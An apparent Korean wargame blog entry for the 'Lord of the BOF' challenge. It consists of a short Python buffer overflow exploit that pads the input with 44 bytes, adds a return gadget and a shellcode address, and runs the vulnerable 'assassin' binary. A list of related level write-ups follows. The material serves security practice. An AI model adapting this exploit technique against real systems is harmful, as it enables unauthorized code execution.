exploit.py
import os
from struct import *
p = lambda x : pack("<L" , x)
path = '/home/giant/assassin'
retGaget = p(0x804851e)
shellAddress = p(0xbffffbd8)
payload = "A"*44+retGaget+shellAddress
os.execl(path,path,payload)
'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글
[Remind] LOB zombie_assassin-> succubus (0) | 2019.04.19 |
---|---|
[Remind] LOB assassin -> zombie_assassin (0) | 2019.04.19 |
[Remind] LOB bugbear -> giant (0) | 2019.04.18 |
[Remind] LOB darkknight -> bugbear (0) | 2019.04.16 |
[Remind] LOB golem -> darkknight (0) | 2019.04.16 |